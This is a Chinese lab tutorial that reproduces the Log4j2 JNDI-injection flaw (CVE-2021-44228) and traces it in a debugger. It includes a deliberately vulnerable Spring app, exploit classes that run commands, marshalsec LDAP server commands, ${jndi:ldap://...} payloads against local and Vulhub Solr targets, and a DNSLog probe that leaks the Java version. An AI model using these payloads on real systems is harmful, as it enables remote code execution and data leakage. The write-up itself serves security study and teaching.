漏洞复现
01-环境搭建
02-Tomcat
03-Nginx
04-Apache
05-JBoss
06-WebLogic
07-Nacos
08-Struts2
09-Spring
10-Log4j2
11-Shiro
12-FastJson
13-RuoYi
14-ThinkPHP
-
+
10-Log4j2
浏览
1
# 一、Log4j ## 概述  Log4j 是 Apache 软件基金会下的一个开源日志记录框架,专为 Java 应用程序设计。 Apache Log4j2 是 Java 领域最主流的开源日志框架,绝大多数 Java Web 项目、中间件、大数据组件都会用它打印业务日志、错误日志、访问日志。 ## 漏洞条件 - 目标JDK的版本条件:≤ 1.8.0_121 - 2.0 <= Apache log4j2 <= 2.14.1 # 二、环境部署 ## 项目导入 通过IDEA,新建一个Spring项目,打开IDEA之后,点击【新建项目】后,配置如下:  如果是新版本的IDEA,那么在导入时,则会出现如下告警错误:  解决方案:将服务器的URL修改为阿里: ```url https://start.aliyun.com/ ```  在选择Java8即可:  勾选【Spring Web】:  如果第一次创建,需稍等片刻下载spring-boot相关依赖,IDEA右下角可查看相关依赖下载进度  创建成功之后,首先进行Maven的国内镜像配置:  如果用户家目录没有,则从maven项目中拷贝到家目录((用户目录下,路径通常是 ~/.m2/settings.xml))一份:  文本编辑器打开 settings.xml,在 \<mirrors> 标签内添加以下代码如果文件里没有 \<mirrors> 标签,就手动创建一对 ```xml <mirror> <id>aliyunmaven</id> <name>阿里云公共仓库</name> <url>https://maven.aliyun.com/repository/public</url> <mirrorOf>central</mirrorOf> </mirror> ```  配置完成之后,勾选重写,点击确定  修改pom.xml文件:  添加如下代码: ```xml <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core</artifactId> <version>2.8.1</version> </dependency> <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-api</artifactId> <version>2.8.1</version> </dependency> ```  在log4j_demo\src\main\java\com\example\log4j_demo下创建HelloLog4j.java,内容如下 ```java package com.example.log4j_demo; import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.RestController; import java.util.Map; @RestController public class HelloLog4j { private Logger Logger = LogManager.getLogger(HelloLog4j.class); @RequestMapping(value = "/login" , method = {RequestMethod.POST}) public String login(@RequestBody Map body) { String user = body.get("user").toString(); String password = body.get("password").toString(); Logger.error("user:{}, password:{}" , user ,password); return "login"; } } ```  IDEA右上角选择当前文件,选择编辑配置:  添加新的Spring Boot配置,java8加载的主类:com.example.log4j_demo.Log4jDemoApplication 点击【修改选项】,勾选虚拟机选项:   添加值: ```bash -Dcom.sun.jndi.ldap.object.trustURLCodebase=true #专门控制JNDI在通过LDAP协议查找对象时,是否信任并允许从远程URL(即codebase)下载并加载Java类文件 ```  检查pom.xml文件中的java.version  检查编译器:  检查pom.xml文件中spring-boot版本  点击右上角,进行执行:   浏览器访问: ```bash http://127.0.0.1:8080/login ```  错误代码是因为代码中只接收POST请求,对实验不影响 ## Exp 新建一个java项目,在src目录下创建Exp.java文件: ```java import java.io.IOException; public class Exp { public Exp(){ try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { e.printStackTrace(); } } public static void main(String[] args) { Exp exploit = new Exp(); } } ```   右键运行,可看到计算器被打开,且项目目录\out\production\log4jexp下生成了Exp.class  ## 漏洞复现 在恶意类目录(\out\production\log4jexp)打开cmd,开一个HTTP服务:  然后利用反序列化工具marshalsec,开一个LDAP服务: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exp" 9999 ```  通过HackBar或者BurpSuite,用POST请求发送json格式的payload,执行后,会弹出系统计算机: ```json { "user": "maolin", "password": "${jndi:ldap://127.0.0.1:9999/Exp}" } ```    # 三、调试分析 ## 断点 由于是JNDI注入,因此可以在InitialContext.lookup(String name)方法下断点(也可以在创建的HelloLog4j.java的Logger.error()处下断点一步一步调试过来,但初次分析依然建议在InitialContext下断点,因为调用链较复杂,涉及循环、分支,且中间有一部分与此漏洞的产生关系不大) 1. 在 IDEA 里按两下 Shift 键,或者按 Ctrl + N 2. 输入 InitialContext  其次是 ```txt 第二个断点:HelloLog4j.java中的Logger.error 第三个断点: 连按两下Shift,搜索并打开 MessagePatternConverter 类 找到它的 format(LogEvent event, StringBuilder toAppendTo) 方法 在这个方法的第一行打个断点 ``` ## Logger.error 从Logger.error()处进来  进行F7步入:在进行Logger.error()日志记录时会采用logIfEnabled()方法进行判断,isEnabled()返回为true才可以继续进行日志操作 这里也是漏洞能否成功触发的关键  在本次漏洞分析过程中日志等级level为ERROR,它的intLevel()为200,而本环境中默认的日志级别this.intLevel为200(ERROR),正好满足this.intLevel >= level.intLevel() filter 为 null 意味着当前这个 Logger 或 Appender **没有配置任何过滤器**,因此所有的日志事件都会被放行,继续向下处理  ```java return level != null && intLevel >= level.intLevel(); #当前允许输出的级别(200)是否大于等于事件的级别(200),200 >= 200 结果为 true ``` 此时filter()方法返回true,即isEnabled()返回为true,成功进入到logMessage()方法中 > log日志级别  从上到下级别逐渐降低,intLevel()数值逐渐增大,分别是:OFF(0)、FATAL(100)、ERROR(200)、WARN(300)、INFO(400)、DEBUG(500)、TRACE(600)、ALL(2147483647) 由此可见,漏洞能否成功触发与设置的日志Level有关,需要不低于默认日志级别 ## MessagePatternConverter.format()  ```java for (int i = offset; i < workingBuilder.length() - 1; i++) { //遍历字符串 if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { //检测字符串里有没有$后面紧跟着 {一旦发现,它就会认为“这里面有个变量需要解析” workingBuilder.append(config.getStrSubstitutor().replace(event, value)); //会将刚才截取到的包含恶意 Payload 的 value,交给了 StrSubstitutor.replace() 方法 //StrSubstitutor 是专门用来处理 ${...} 语法的工具它会提取出 jndi:ldap://...,发现前缀是 jndi,于是就会去调用对应的 JndiLookup //最后,把解析的结果(比如恶意类返回的内容)追加(append)回 workingBuilder 的末尾 ``` ## lookup方法 继续步入F8,则跟进到了触发漏洞的核心位置:**org.apache.logging.log4j.core.lookup.JndiLookup 类的 lookup 方法** getURLOrDefaultInitCtx(name) 方法会去根据 ldap:// 协议,找到对应的上下文工厂(Context Factory),并实例化一个 InitialDirContext(或者对应的 LDAP Context) 触发网络请求:紧接着调用的 .lookup(name) 方法,会真正发起网络请求此时,应用会向 127.0.0.1:9999 这个地址发送 LDAP 查询请求,索要 Exp 这个对象  **按 F8 (Step Over)** 单步执行这一行,会弹出计算机:   攻击链路: 1. 发起 LDAP 请求:Log4j 会向本地的 127.0.0.1:9999 端口发起 LDAP 查询 2. 恶意服务响应:如果本地 9999 端口已经启动了恶意 LDAP 服务(比如使用 JNDIExploit 或 marshalsec),它会返回一个包含恶意类(Exp)地址的 Reference 对象(通常指向一个 HTTP 服务,比如 http://127.0.0.1:8000/#Exp) 3. 下载并执行:Log4j 收到响应后,会通过 HTTP 去下载这个 Exp.class 文件,并在本地进行类加载在类的静态代码块或构造函数中,攻击者写入的代码(例如 Runtime.getRuntime().exec("calc"))会被执行,从而弹出计算器 再往下走,会抛出异常:  在 JNDI 注入流程中,当 NamingManager 拿到远程类并尝试实例化时,会强制将其转换为 javax.naming.spi.ObjectFactory 接口类型如果 Exp 类没有实现这个接口,就会抛出这个 ClassCastException ## 调试流程 1. 业务代码:log.error("user:{}, password:{}", "maolin", "${jndi:ldap://127.0.0.1:9999/Exp}") 2. 消息封装:进入 ParameterizedMessage,把模板和参数打包(还没开始解析) 3. 级别过滤:经过 Logger$PrivateConfig.filter,因为是 ERROR 级别,被放行 4. 格式化提取:进入 MessagePatternConverter.format,发现字符串包含 ${,提取出恶意 payload 5. 替换解析:交给 StrSubstitutor.replace,提取出 jndi 协议前缀 6. 触发漏洞:最终路由到 JndiLookup.lookup,向恶意服务器发起请求,导致 RCE(远程代码执行) # 四、名词解释 ## Maven 包的管理器与项目管家,https://mvnrepository.com/ 主要功能: - 依赖管理; - 统一项目结构; - 自动化构建:包含一套生命周期(清理、编译、打包、测试) ## POM Project Object Model,项目对象模型,是 Maven 项目的配置文件 ## JNDI JNDI 的全称是 **Java Naming and Directory Interface(Java 命名和目录接口)** 在没有 JNDI 之前,Java 程序员如果要连接数据库、读取 LDAP 通讯录、或者查找本地系统的环境变量,需要为每一种服务写一套专门的代码(比如用 JDBC 连 MySQL等) JNDI 的出现就是为了**统一标准、实现解耦**,它提供了一套统一的 API - 如果你想查数据库,你告诉 JNDI:“我要找 jdbc/myDB” - 如果你想查系统变量,你告诉 JNDI:“我要找 sys:java.version” JNDI 收到你的字符串后,会自己识别前缀(jdbc、sys、ldap),然后把任务转交给底层对应的驱动程序去执行。 JNDI 包含两部分: 1. Naming(命名服务):就像电话簿,给你一个名字(Name),返回一个对象(Object) 2. Directory(目录服务):它是命名服务的升级版,不仅能查名字,还能查这个对象附带的各种属性 其核心方法是 lookup(),负责根据指定的名称(Name)从服务端检索并返回对应的对象(Object)。 ```java jndi:ldap://192.168.88.1:9999/Exp ``` **Log4j 错误地把用户输入交给了 JNDI**,而 **JNDI 又错误地信任了外部服务器** ## LDAP **LDAP的全称是Lightweight Directory Access Protocol(轻量级目录访问协议)** 本质:LDAP是一个用来存储和查询数据的协议,它采用的是树状结构 ## JNDI注入 当一个系统允许**用户控制 JNDI lookup() 方法的参数**时,攻击者通过构造恶意协议(如 RMI 或 LDAP),诱导服务器去请求攻击者控制的外部服务,最终实现远程代码执行(RCE)。 前提条件: 1. 用户可控输入:程序将用户的输入(如 URL 参数、JSON 字段、甚至 HTTP Header)直接拼接到 lookup() 方法中 2. 支持动态协议:JNDI 默认支持多种协议,其中 RMI 和 LDAP 是极其危险的,因为它们支持“远程加载类” 3. JDK 早期的信任模型:在早期 JDK 中,JNDI 默认信任远程服务器返回的 Reference,允许去外部下载 .class 文件并执行 ## 漏洞分析 1. 攻击者把 ldap://127.0.0.1:9999/Exp 作为用户名或密码发给服务器。 2. Log4j 解析到这段代码,交由 JNDI 发起请求。 3. 本地恶意 LDAP 服务(9999端口) 收到查询请求:“请给我找名叫 Exp 的东西”。 4. LDAP 服务的“致命弱点”:恶意 LDAP 服务不会返回普通的数据,而是返回一个“引用”(Reference)。这个 Reference 里包含两个关键信息: - javaCodeBase: 一个 HTTP 地址(比如 http://127.0.0.1:8000/)。 - javaFactory: 一个类名(比如 Exp)。 5. 受害者被坑:Java 的 LDAP 客户端收到这个“引用”,以为这是正常的业务数据,于是去那个 HTTP 地址把 Exp.class 下载下来并执行了 # 五、漏洞原理 ## 攻击载荷 攻击者通过前端接口,发送恶意的Json数据: ```bash { "user": "maolin", "password": "${jndi:ldap://127.0.0.1:9999/Exp}" } ``` 后端的 Spring Boot 控制器接收该数据,并执行标准的日志记录语句: ```java log.error("user:{}, password:{}", user, password); ``` 恶意的 Payload 作为普通字符串参数 p1 进入了 Log4j2 的内部处理流程 ## 非预期解析 在 Log4j2 的底层架构中,日志事件(LogEvent)在格式化输出前,会经过 MessagePatternConverter.format() 处理: 1. 格式化与拼装:ParameterizedMessage 将模板和参数拼接,得到包含恶意 Payload 的最终字符串。 2. Lookup 触发:MessagePatternConverter 内部遍历该字符串,发现 ${ 特征序列,将其认定为需要执行动态解析的表达式,交由 StrSubstitutor 处理。 3. 协议路由:StrSubstitutor 解析出前缀 jndi,随后调用 JndiLookup.lookup(),将字符串 ldap://127.0.0.1:9999/Exp 传入底层的 JNDI ## 漏洞利用链 从这一步开始,攻击不再是 Log4j 的问题,而是变成了经典的 JNDI 注入(JNDI Injection): 1. LDAP 通信:JDK 底层的 com.sun.jndi.ldap.LdapCtx 与攻击者的恶意 LDAP 服务器(127.0.0.1:9999)建立 TCP 连接,发起查询请求。 2. 恶意 Reference 返回:恶意 LDAP 服务端并不返回常规的目录数据,而是构造并返回一个 javax.naming.Reference 对象,该对象包含关键的恶意属性: - javaFactory: Exp (指定加载的类名) - javaCodeBase: http://127.0.0.1:8000/ (指定远程类文件的 HTTP 服务地址) 3. 远程类加载(Remote Class Loading):受害者的 JNDI 客户端根据 Reference 的指引,通过 HTTP 从 javaCodeBase 下载 Exp.class 字节码。 4. RCE(远程代码执行):JDK 内部调用 ClassLoader 加载该恶意类,并进行实例化(通常要求实现 ObjectFactory 接口)。 在实例化过程中(如执行静态代码块或构造函数),触发 Runtime.getRuntime().exec(),完成命令执行 弹出计算器操作。 # 六、Vulhub复现 ## 开启环境 ```bash root@ubuntu:~/vulhub# cd ./log4j/CVE-2021-44228/ root@ubuntu:~/vulhub/log4j/CVE-2021-44228# docker compose up -d ```   ## 漏洞探测 在/solr/admin/cores?有个参数可以传,这就是个注入点,试试能不能输出java版本,构造payload。 ```url http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.n4df91.dnslog.cn} ``` DNSLog平台地址:http://dnslog.cn/  ## 环境准备 构造恶意java文件: ```java import java.lang.Runtime; import java.lang.Process; public class Evil { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/maolin"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } } ``` 编译为class文件:  本地开启http服务。  模拟LDAP服务: ```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.124.128:8000/#Evil" 9999 ``` ```bash #描述 # 运行 marshalsec 工具包,这是 Java 安全领域通用的 JNDI 注入利用工具,-cp 指定类加载路径 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar # 指定运行工具包中的「LDAP 引用服务器」类,用来搭建一个轻量级的恶意 LDAP 服务 arshalsec.jndi.LDAPRefServer # LDAP 服务器返回给目标的远程恶意类地址, #Evil为指定要加载的恶意类,#是 JNDI 引用的类名分隔符 http://192.168.124.128:8000/#Evil # 恶意 LDAP 服务器在本地监听的端口号,目标的 JNDI 查询请求会发向这个端口。 9999 ```  ## 发起攻击 发送完整的payload请求: ```url http://127.0.0.1:8983/solr/admin/cores?action=${jndi:ldap://192.168.124.128:9999/Evil} ```  写入成功。  查看日志记录:  
毛林
2026年11月15日 18:41
转发文档
收藏文档
上一篇
下一篇
评论(0)
登录
后可发表评论
还没有评论,来抢沙发~
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
Word文档
PDF文档(打印)
分享
链接
类型
密码
更新密码
还没有评论,来抢沙发~